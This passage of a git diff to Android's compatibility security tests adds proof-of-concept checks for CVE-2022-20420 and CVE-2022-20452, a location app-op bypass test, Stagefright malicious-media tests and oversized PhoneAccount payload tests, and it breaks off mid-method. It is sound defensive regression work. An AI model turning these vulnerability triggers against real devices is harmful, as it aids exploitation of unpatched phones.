+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20420;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
+
+ @Override
+ public void onEnabled(Context context, Intent intent) {
+ try {
+ context.sendBroadcast(new Intent("broadcastCVE_2022_20420"));
+ } catch (Exception e) {
+ // ignore all exceptions.
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20452/CVE_2022_20452.java b/tests/tests/security/src/android/security/cts/CVE_2022_20452/CVE_2022_20452.java
new file mode 100644
index 00000000000..af581a1a54d
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20452/CVE_2022_20452.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// This PoC has been written taking reference from:
+// File: frameworks/base/core/tests/coretests/src/android/os/BundleTest.java
+// Function: readFromParcelWithRwHelper_whenThrowingAndDefusing_returnsNull()
+
+package android.security.cts.CVE_2022_20452;
+
+import static org.junit.Assert.assertNull;
+import static org.junit.Assume.assumeNoException;
+
+import android.os.Bundle;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20452 extends StsExtraBusinessLogicTestCase {
+
+ @AsbSecurityTest(cveBugId = 240138318)
+ @Test
+ public void testPocCVE_2022_20452() {
+ try {
+ // Create a bundle with some parcelable object and a random string
+ Bundle bundle = new Bundle();
+ Parcelable parcelable = new CustomParcelable();
+ bundle.putParcelable("keyParcelable", parcelable);
+ bundle.putString("keyStr", "valStr");
+
+ // Read bundle contents into a parcel and also set read write helper for the parcel
+ Parcel parcelledBundle = Parcel.obtain();
+ bundle.writeToParcel(parcelledBundle, 0);
+ parcelledBundle.setDataPosition(0);
+ parcelledBundle.setReadWriteHelper(new Parcel.ReadWriteHelper());
+
+ // First set 'shouldDefuse' to true, then read contents of parcel into a bundle.
+ // In presence of fix, this will cause a ClassNotFoundException because bundle will not
+ // be able to find the class for 'CustomParcelable' as the class loader is not set, so
+ // Parcel will not be read properly and the code will return without reading the string.
+ Bundle.setShouldDefuse(true);
+ Bundle testBundle = new Bundle();
+ testBundle.readFromParcel(parcelledBundle);
+
+ // If the vulnerability is active, we will be able to read string from bundle.
+ assertNull("Vulnerable to b/240138318 !!", testBundle.getString("keyStr"));
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20452/CustomParcelable.java b/tests/tests/security/src/android/security/cts/CVE_2022_20452/CustomParcelable.java
new file mode 100644
index 00000000000..f076eee6535
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20452/CustomParcelable.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20452;
+
+import android.os.Parcel;
+import android.os.Parcelable;
+
+public class CustomParcelable implements Parcelable {
+ private boolean mDummyValue = true;
+
+ CustomParcelable() {
+ }
+
+ @Override
+ public int describeContents() {
+ return 0;
+ }
+
+ @Override
+ public void writeToParcel(Parcel out, int flags) {
+ out.writeBoolean(mDummyValue);
+ }
+
+ public static final Creator<CustomParcelable> CREATOR =
+ new Creator<CustomParcelable>() {
+ @Override
+ public CustomParcelable createFromParcel(Parcel in) {
+ return new CustomParcelable();
+ }
+
+ @Override
+ public CustomParcelable[] newArray(int size) {
+ return new CustomParcelable[size];
+ }
+ };
+}
diff --git a/tests/tests/security/src/android/security/cts/LocationDisabledAppOpsTest.java b/tests/tests/security/src/android/security/cts/LocationDisabledAppOpsTest.java
new file mode 100644
index 00000000000..c6b7e35b4ef
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/LocationDisabledAppOpsTest.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.app.AppOpsManager.MODE_ALLOWED;
+import static android.app.AppOpsManager.OPSTR_FINE_LOCATION;
+
+import static com.android.compatibility.common.util.SystemUtil.eventually;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import android.app.ActivityManager;
+import android.app.AppOpsManager;
+import android.content.Context;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageInfo;
+import android.location.LocationManager;
+import android.os.PackageTagsList;
+import android.os.Process;
+import android.os.UserHandle;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class LocationDisabledAppOpsTest extends StsExtraBusinessLogicTestCase {
+
+ private final Context mContext = InstrumentationRegistry.getContext();
+ private LocationManager mLm;
+ private AppOpsManager mAom;
+
+ @Before
+ public void setUp() {
+ mLm = mContext.getSystemService(LocationManager.class);
+ mAom = mContext.getSystemService(AppOpsManager.class);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 231496105)
+ public void testLocationAppOpIsIgnoredForAppsWhenLocationIsDisabled() {
+ PackageTagsList ignoreList = mLm.getIgnoreSettingsAllowlist();
+
+ UserHandle[] userArr = {UserHandle.SYSTEM};
+ runWithShellPermissionIdentity(() -> {
+ userArr[0] = UserHandle.of(ActivityManager.getCurrentUser());
+ });
+
+ UserHandle user = userArr[0];
+
+ boolean wasEnabled = mLm.isLocationEnabledForUser(user);
+
+ try {
+ runWithShellPermissionIdentity(() -> {
+ mLm.setLocationEnabledForUser(false, user);
+ });
+ List<PackageInfo> pkgs =
+ mContext.getPackageManager().getInstalledPackagesAsUser(
+ 0, user.getIdentifier());
+
+ eventually(() -> {
+ List<String> bypassedNoteOps = new ArrayList<>();
+ List<String> bypassedCheckOps = new ArrayList<>();
+ for (PackageInfo pi : pkgs) {
+ ApplicationInfo ai = pi.applicationInfo;
+ if (ai.uid != Process.SYSTEM_UID) {
+ final int[] mode = {MODE_ALLOWED};
+ runWithShellPermissionIdentity(() -> {
+ mode[0] = mAom.noteOpNoThrow(
+ OPSTR_FINE_LOCATION, ai.uid, ai.packageName);
+ });
+ if (mode[0] == MODE_ALLOWED && !ignoreList.containsAll(pi.packageName)) {
+ bypassedNoteOps.add(pi.packageName);
+ }
+
+
+ mode[0] = MODE_ALLOWED;
+ runWithShellPermissionIdentity(() -> {
+ mode[0] = mAom
+ .checkOpNoThrow(OPSTR_FINE_LOCATION, ai.uid, ai.packageName);
+ });
+ if (mode[0] == MODE_ALLOWED && !ignoreList.includes(pi.packageName)) {
+ bypassedCheckOps.add(pi.packageName);
+ }
+
+ }
+ }
+
+ String msg = "";
+ if (!bypassedNoteOps.isEmpty()) {
+ msg += "Apps which still have access from noteOp " + bypassedNoteOps;
+ }
+ if (!bypassedCheckOps.isEmpty()) {
+ msg += (msg.isEmpty() ? "" : "\n\n")
+ + "Apps which still have access from checkOp " + bypassedCheckOps;
+ }
+ if (!msg.isEmpty()) {
+ Assert.fail(msg);
+ }
+ });
+ } finally {
+ runWithShellPermissionIdentity(() -> {
+ mLm.setLocationEnabledForUser(wasEnabled, user);
+ });
+ }
+ }
+
+}
+
diff --git a/tests/tests/security/src/android/security/cts/PackageInstallerTest.java b/tests/tests/security/src/android/security/cts/PackageInstallerTest.java
index 887538ba2c8..ddea21385d8 100644
--- a/tests/tests/security/src/android/security/cts/PackageInstallerTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageInstallerTest.java
@@ -21,23 +21,24 @@ import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import com.android.cts.install.lib.Install;
import com.android.cts.install.lib.TestApp;
import com.android.cts.install.lib.Uninstall;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import org.junit.After;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
import java.util.concurrent.TimeUnit;
-@RunWith(JUnit4.class)
+@RunWith(AndroidJUnit4.class)
@AppModeFull
-public class PackageInstallerTest {
+public class PackageInstallerTest extends StsExtraBusinessLogicTestCase {
private static final String TEST_APP_NAME = "android.security.cts.packageinstallertestapp";
diff --git a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
index 293200e5541..a46e142e4d5 100644
--- a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
+++ b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
@@ -16,17 +16,21 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.app.ActivityManager;
import android.content.Context;
import android.platform.test.annotations.AsbSecurityTest;
+
import androidx.test.runner.AndroidJUnit4;
+
import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
import java.util.List;
+import java.util.stream.Collectors;
@RunWith(AndroidJUnit4.class)
public class RunningAppProcessInfoTest extends StsExtraBusinessLogicTestCase {
@@ -40,12 +44,23 @@ public class RunningAppProcessInfoTest extends StsExtraBusinessLogicTestCase {
@Test
public void testRunningAppProcessInfo() {
ActivityManager amActivityManager =
- (ActivityManager) getInstrumentation().getContext().getSystemService(Context.ACTIVITY_SERVICE);
+ (ActivityManager)
+ getInstrumentation()
+ .getContext()
+ .getSystemService(Context.ACTIVITY_SERVICE);
List<ActivityManager.RunningAppProcessInfo> appList =
amActivityManager.getRunningAppProcesses();
+
+ // Assembles app list for logging
+ List<String> processNames =
+ appList.stream()
+ .map((processInfo) -> processInfo.processName)
+ .collect(Collectors.toList());
+
// The test will pass if it is able to get only its process info
- assertTrue("Device is vulnerable to CVE-2015-3833. For more information, see " +
- "https://android.googlesource.com/platform/frameworks/base/+" +
- "/aaa0fee0d7a8da347a0c47cef5249c70efee209e", (appList.size() == 1));
+ assertTrue(
+ "Device is vulnerable to CVE-2015-3833. Running app processes: "
+ + processNames.toString(),
+ (appList.size() == 1));
}
}
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index d9c0039f9fa..307a3e7d01e 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -1809,6 +1809,48 @@ public class StagefrightTest extends StsExtraBusinessLogicTestCase {
before any existing test methods
***********************************************************/
@Test
+ @AsbSecurityTest(cveBugId = 223209306)
+ public void testStagefright_cve_2022_22085() throws Exception {
+ doStagefrightTest(R.raw.cve_2022_22085);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 223209816)
+ public void testStagefright_cve_2022_22084() throws Exception {
+ doStagefrightTest(R.raw.cve_2022_22084);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 223211218)
+ public void testStagefright_cve_2022_22086() throws Exception {
+ doStagefrightTest(R.raw.cve_2022_22086);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 228101819)
+ public void testStagefright_cve_2022_25659() throws Exception {
+ doStagefrightTest(R.raw.cve_2022_25659);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 223210917)
+ public void testStagefright_cve_2022_22083() throws Exception {
+ doStagefrightTest(R.raw.cve_2022_22083);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 223209610)
+ public void testStagefright_cve_2022_22087() throws Exception {
+ doStagefrightTest(R.raw.cve_2022_22087);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 228101835)
+ public void testStagefright_cve_2022_25657() throws Exception {
+ doStagefrightTest(R.raw.cve_2022_25657);
+ }
+
+ @Test
@AsbSecurityTest(cveBugId = 231156126)
public void testStagefright_cve_2022_22059() throws Exception {
doStagefrightTest(R.raw.cve_2022_22059);
@@ -2437,6 +2479,11 @@ public class StagefrightTest extends StsExtraBusinessLogicTestCase {
} catch (Exception e) {
// local exceptions ignored, not security issues
} finally {
+ try {
+ codec.stop();
+ } catch (Exception e) {
+ // local exceptions ignored, not security issues
+ }
codec.release();
renderTarget.destroy();
}
diff --git a/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java b/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java
index c9b5a3a01ab..73474a1b67e 100644
--- a/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java
@@ -19,9 +19,11 @@ package android.security.cts;
import static android.view.Display.DEFAULT_DISPLAY;
import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION;
+import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
import android.Manifest;
+import android.app.ActivityManager;
import android.app.WallpaperManager;
import android.content.Context;
import android.content.res.AssetManager;
@@ -124,7 +126,8 @@ public class WallpaperManagerTest extends StsExtraBusinessLogicTestCase {
@Test
@AsbSecurityTest(cveBugId = 204087139)
public void testSetMaliciousStream() {
- unZipMaliciousImageFile();
+ ActivityManager am = mContext.getSystemService(ActivityManager.class);
+ assumeFalse(am.isLowRamDevice());
final File testImage = unZipMaliciousImageFile();
Assert.assertTrue(testImage.exists());
try (InputStream s = mContext.getContentResolver()
diff --git a/tests/tests/systemui/Android.bp b/tests/tests/systemui/Android.bp
index e33d8fc7966..3a68e4df1dd 100644
--- a/tests/tests/systemui/Android.bp
+++ b/tests/tests/systemui/Android.bp
@@ -39,6 +39,7 @@ android_test {
"androidx.test.ext.junit",
"androidx.test.uiautomator",
"cts-wm-util",
+ "permission-test-util-lib",
"ub-uiautomator",
],
srcs: [
diff --git a/tests/tests/systemui/AndroidManifest.xml b/tests/tests/systemui/AndroidManifest.xml
index f55ed3f13c5..d4ba3b3d4fe 100644
--- a/tests/tests/systemui/AndroidManifest.xml
+++ b/tests/tests/systemui/AndroidManifest.xml
@@ -26,6 +26,7 @@
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
<!-- Required by flickerlib to dump window states -->
<uses-permission android:name="android.permission.DUMP"/>
+ <uses-permission android:name="android.permission.POST_NOTIFICATIONS"/>
<application android:requestLegacyExternalStorage="true">
<activity android:name=".LightBarActivity"
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
index ffa58bafc97..50792176d28 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
@@ -16,6 +16,9 @@
package android.systemui.cts;
+import static android.Manifest.permission.POST_NOTIFICATIONS;
+import static android.Manifest.permission.REVOKE_POST_NOTIFICATIONS_WITHOUT_KILL;
+import static android.Manifest.permission.REVOKE_RUNTIME_PERMISSIONS;
import static android.server.wm.BarTestUtils.assumeHasColoredNavigationBar;
import static android.server.wm.BarTestUtils.assumeHasColoredStatusBar;
import static android.server.wm.BarTestUtils.assumeStatusBarContainsCutout;
@@ -33,7 +36,10 @@ import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.Color;
import android.graphics.Insets;
+import android.os.Process;
import android.os.SystemClock;
+import android.permission.PermissionManager;
+import android.permission.cts.PermissionUtils;
import android.platform.test.annotations.AppModeFull;
import android.view.Gravity;
import android.view.InputDevice;
@@ -45,6 +51,7 @@ import android.view.WindowMetrics;
import androidx.test.rule.ActivityTestRule;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.SystemUtil;
import com.android.compatibility.common.util.ThrowingRunnable;
import org.junit.Rule;
@@ -244,22 +251,23 @@ public class LightBarTests extends LightBarTestBase {
}
private void runInNotificationSession(ThrowingRunnable task) throws Exception {
+ Context context = getInstrumentation().getContext();
+ String packageName = getInstrumentation().getTargetContext().getPackageName();
try {
- mNm = (NotificationManager) getInstrumentation().getContext()
- .getSystemService(Context.NOTIFICATION_SERVICE);
+ PermissionUtils.grantPermission(packageName, POST_NOTIFICATIONS);
+ mNm = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channel1 = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_LOW);
mNm.createNotificationChannel(channel1);
// post 10 notifications to ensure enough icons in the status bar
for (int i = 0; i < 10; i++) {
- Notification.Builder noti1 = new Notification.Builder(
- getInstrumentation().getContext(),
- NOTIFICATION_CHANNEL_ID)
- .setSmallIcon(R.drawable.ic_save)
- .setChannelId(NOTIFICATION_CHANNEL_ID)
- .setPriority(Notification.PRIORITY_LOW)
- .setGroup(NOTIFICATION_GROUP_KEY);
+ Notification.Builder noti1 =
+ new Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(R.drawable.ic_save)
+ .setChannelId(NOTIFICATION_CHANNEL_ID)
+ .setPriority(Notification.PRIORITY_LOW)
+ .setGroup(NOTIFICATION_GROUP_KEY);
mNm.notify(NOTIFICATION_TAG, i, noti1.build());
}
@@ -267,6 +275,16 @@ public class LightBarTests extends LightBarTestBase {
} finally {
mNm.cancelAll();
mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+
+ // Use test API to prevent PermissionManager from killing the test process when revoking
+ // permission.
+ SystemUtil.runWithShellPermissionIdentity(
+ () -> context.getSystemService(PermissionManager.class)
+ .revokePostNotificationPermissionWithoutKillForTest(
+ packageName,
+ Process.myUserHandle().getIdentifier()),
+ REVOKE_POST_NOTIFICATIONS_WITHOUT_KILL,
+ REVOKE_RUNTIME_PERMISSIONS);
}
}
diff --git a/tests/tests/systemui/src/android/systemui/cts/MediaOutputDialogTest.java b/tests/tests/systemui/src/android/systemui/cts/MediaOutputDialogTest.java
deleted file mode 100644
index 0905e57c379..00000000000
--- a/tests/tests/systemui/src/android/systemui/cts/MediaOutputDialogTest.java
+++ /dev/null
@@ -1,102 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.systemui.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.junit.Assume.assumeFalse;
-import static org.junit.Assume.assumeTrue;
-
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.content.pm.ResolveInfo;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.BySelector;
-import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.Until;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Tests related MediaOutputDialog:
- *
- * atest MediaDialogTest
- */
-@RunWith(AndroidJUnit4.class)
-public class MediaOutputDialogTest {
-
- private static final int TIMEOUT = 5000;
- private static final String ACTION_LAUNCH_MEDIA_OUTPUT_DIALOG =
- "com.android.systemui.action.LAUNCH_MEDIA_OUTPUT_DIALOG";
- private static final String SYSTEMUI_PACKAGE_NAME = "com.android.systemui";
- public static final String EXTRA_PACKAGE_NAME = "package_name";
- public static final String TEST_PACKAGE_NAME = "com.android.package.test";
- private static final BySelector MEDIA_DIALOG_SELECTOR = By.res(SYSTEMUI_PACKAGE_NAME,
- "media_output_dialog");
-
- private Context mContext;
- private UiDevice mDevice;
- private String mLauncherPackage;
- private boolean mHasTouchScreen;
-
- @Before
- public void setUp() {
- mContext = InstrumentationRegistry.getTargetContext();
- mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
- final PackageManager packageManager = mContext.getPackageManager();
-
- mHasTouchScreen = packageManager.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
- || packageManager.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
-
- Intent launcherIntent = new Intent(Intent.ACTION_MAIN);
- launcherIntent.addCategory(Intent.CATEGORY_HOME);
- ResolveInfo resolveInfo = packageManager.resolveActivity(launcherIntent,
- PackageManager.ResolveInfoFlags.of(PackageManager.MATCH_DEFAULT_ONLY));
- assumeFalse("Skipping test: can't get resolve info", resolveInfo == null);
- assumeFalse("Skipping test: not supported on automotive yet",
- packageManager.hasSystemFeature(
- PackageManager.FEATURE_AUTOMOTIVE));
- mLauncherPackage = resolveInfo.activityInfo.packageName;
- }
-
- @Test
- public void mediaOutputDialog_correctDialog() {
- assumeTrue(mHasTouchScreen);
- launchMediaOutputDialog();
-
- assertThat(mDevice.wait(Until.hasObject(MEDIA_DIALOG_SELECTOR), TIMEOUT)).isTrue();
- }
-
- private void launchMediaOutputDialog() {
- mDevice.pressHome();
- mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
-
- Intent intent = new Intent();
- intent.setPackage(SYSTEMUI_PACKAGE_NAME)
- .setAction(ACTION_LAUNCH_MEDIA_OUTPUT_DIALOG)
- .putExtra(EXTRA_PACKAGE_NAME, TEST_PACKAGE_NAME);
-
- mContext.sendBroadcast(intent);
- }
-
-}
diff --git a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountRegistrarTest.java b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountRegistrarTest.java
index afc00e7aed5..451d4e3e44c 100644
--- a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountRegistrarTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountRegistrarTest.java
@@ -16,13 +16,19 @@
package android.telecom.cts;
+import static android.telecom.PhoneAccount.CAPABILITY_CALL_PROVIDER;
+import static android.telecom.PhoneAccount.CAPABILITY_SELF_MANAGED;
+
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
+import android.net.Uri;
import android.os.IBinder;
+import android.os.RemoteException;
import android.telecom.PhoneAccount;
import android.telecom.PhoneAccountHandle;
+import android.telecom.TelecomManager;
import android.telecom.cts.carmodetestapp.ICtsCarModeInCallServiceControl;
import android.telecom.cts.carmodetestappselfmanaged.CtsCarModeInCallServiceControlSelfManaged;
import android.util.Log;
@@ -38,10 +44,40 @@ public class PhoneAccountRegistrarTest extends BaseTelecomTestWithMockServices {
private static final String TAG = "PhoneAccountRegistrarTest";
private static final long TIMEOUT = 3000L;
+ private static final int LARGE_ACCT_HANDLE_ID_MIN_SIZE = 50000;
+ private static final String RANDOM_CHAR_VALUE = "a";
+ private static final String TEL_PREFIX = "tel:";
+ private static final String TELECOM_CLEANUP_ACCTS_CMD = "telecom cleanup-orphan-phone-accounts";
public static final long SEED = 52L; // random seed chosen
public static final int MAX_PHONE_ACCOUNT_REGISTRATIONS = 10; // mirrors constant in...
// PhoneAccountRegistrar called MAX_PHONE_ACCOUNT_REGISTRATIONS
+ // permissions
+ private static final String READ_PHONE_STATE_PERMISSION =
+ "android.permission.READ_PRIVILEGED_PHONE_STATE";
+ private static final String MODIFY_PHONE_STATE_PERMISSION =
+ "android.permission.MODIFY_PHONE_STATE";
+ private static final String REGISTER_SIM_SUBSCRIPTION_PERMISSION =
+ "android.permission.REGISTER_SIM_SUBSCRIPTION";
+
+ // telecom cts test package (default package that registers phoneAccounts)
+ private static final ComponentName TEST_COMPONENT_NAME =
+ new ComponentName(TestUtils.PACKAGE, TestUtils.COMPONENT);
+
+ // secondary test package (extra package that can be set up to register phoneAccounts)
+ private static final String SELF_MANAGED_CAR_PACKAGE =
+ CtsCarModeInCallServiceControlSelfManaged.class.getPackage().getName();
+ private static final ComponentName SELF_MANAGED_CAR_RELATIVE_COMPONENT = ComponentName
+ .createRelative(SELF_MANAGED_CAR_PACKAGE,
+ CtsCarModeInCallServiceControlSelfManaged.class.getName());
+ private static final ComponentName CAR_COMPONENT = new ComponentName(SELF_MANAGED_CAR_PACKAGE,
+ TestUtils.SELF_MANAGED_COMPONENT);
+ private static final String CAR_MODE_CONTROL =
+ "android.telecom.cts.carmodetestapp.ACTION_CAR_MODE_CONTROL";
+ // variables to interface with the second test package
+ TestServiceConnection mControl;
+ ICtsCarModeInCallServiceControl mSecondaryTestPackageControl;
+
@Override
public void setUp() throws Exception {
// Sets up this package as default dialer in super.
@@ -204,8 +240,303 @@ public class PhoneAccountRegistrarTest extends BaseTelecomTestWithMockServices {
mContext.unbindService(control);
}
+ /**
+ * Test the scenario where {@link android.telecom.TelecomManager
+ * #getCallCapablePhoneAccounts(boolean)} is called with a heavy payload
+ * that could cause a {@link android.os.TransactionTooLargeException}. Telecom is expected to
+ * handle this by splitting the parcels via {@link android.content.pm.ParceledListSlice}.
+ */
+ public void testGettingLargeCallCapablePhoneAccountHandlePayload() throws Exception {
+ if (!mShouldTestTelecom) return;
+ // ensure the test starts without any phone accounts registered to the test package
+ cleanupPhoneAccounts();
+
+ // generate a large phoneAccountHandle id string to create a large payload
+ String largeAccountHandleId = generateLargeString(
+ LARGE_ACCT_HANDLE_ID_MIN_SIZE, RANDOM_CHAR_VALUE);
+ assertEquals(LARGE_ACCT_HANDLE_ID_MIN_SIZE, largeAccountHandleId.length());
+
+ // create handles for package 1
+ List<PhoneAccount> phoneAccountsForPackage1 =
+ generatePhoneAccountsForPackage(TEST_COMPONENT_NAME, largeAccountHandleId,
+ numberOfPhoneAccountsCtsPackageCanRegister(), CAPABILITY_CALL_PROVIDER);
+
+ //create handles for package 2
+ List<PhoneAccount> phoneAccountsForPackage2 =
+ generatePhoneAccountsForPackage(CAR_COMPONENT, largeAccountHandleId,
+ MAX_PHONE_ACCOUNT_REGISTRATIONS, CAPABILITY_CALL_PROVIDER);
+ try {
+ // register all accounts for package 1
+ phoneAccountsForPackage1.stream()
+ .forEach(a -> mTelecomManager.registerPhoneAccount(a));
+ // verify all can be fetched
+ verifyCanFetchCallCapableAccounts();
+ // register all accounts for package 2
+ bindToSecondTestPackageAndRegisterAccounts(phoneAccountsForPackage2);
+ // verify all can be fetched
+ verifyCanFetchCallCapableAccounts();
+ } catch (IllegalArgumentException e) {
+ // allow test pass ...
+ Log.i(TAG, "testGettingLargeCallCapablePhoneAccountHandlePayload:"
+ + " illegal arg exception thrown.");
+ } finally {
+ unbindSecondTestPackageAndUnregisterAccounts(phoneAccountsForPackage2);
+ cleanupPhoneAccounts();
+ }
+ }
+
+ /**
+ * Test the scenario where {@link android.telecom.TelecomManager#getSelfManagedPhoneAccounts()}
+ * is called with a heavy payload that could cause a {@link
+ * android.os.TransactionTooLargeException}. Telecom is expected to handle this by splitting
+ * the parcels via {@link android.content.pm.ParceledListSlice}.
+ */
+ public void testGettingLargeSelfManagedPhoneAccountHandlePayload() throws Exception {
+ if (!mShouldTestTelecom) return;
+ // ensure the test starts without any phone accounts registered to the test package
+ cleanupPhoneAccounts();
+
+ // generate a large phoneAccountHandle id string to create a large payload
+ String largeAccountHandleId = generateLargeString(
+ LARGE_ACCT_HANDLE_ID_MIN_SIZE, RANDOM_CHAR_VALUE);
+ assertEquals(LARGE_ACCT_HANDLE_ID_MIN_SIZE, largeAccountHandleId.length());
+
+ // create handles for package 1
+ List<PhoneAccount> phoneAccountsForPackage1 =
+ generatePhoneAccountsForPackage(TEST_COMPONENT_NAME, largeAccountHandleId,
+ numberOfPhoneAccountsCtsPackageCanRegister(), CAPABILITY_SELF_MANAGED);
+
+ //create handles for package 2
+ List<PhoneAccount> phoneAccountsForPackage2 =
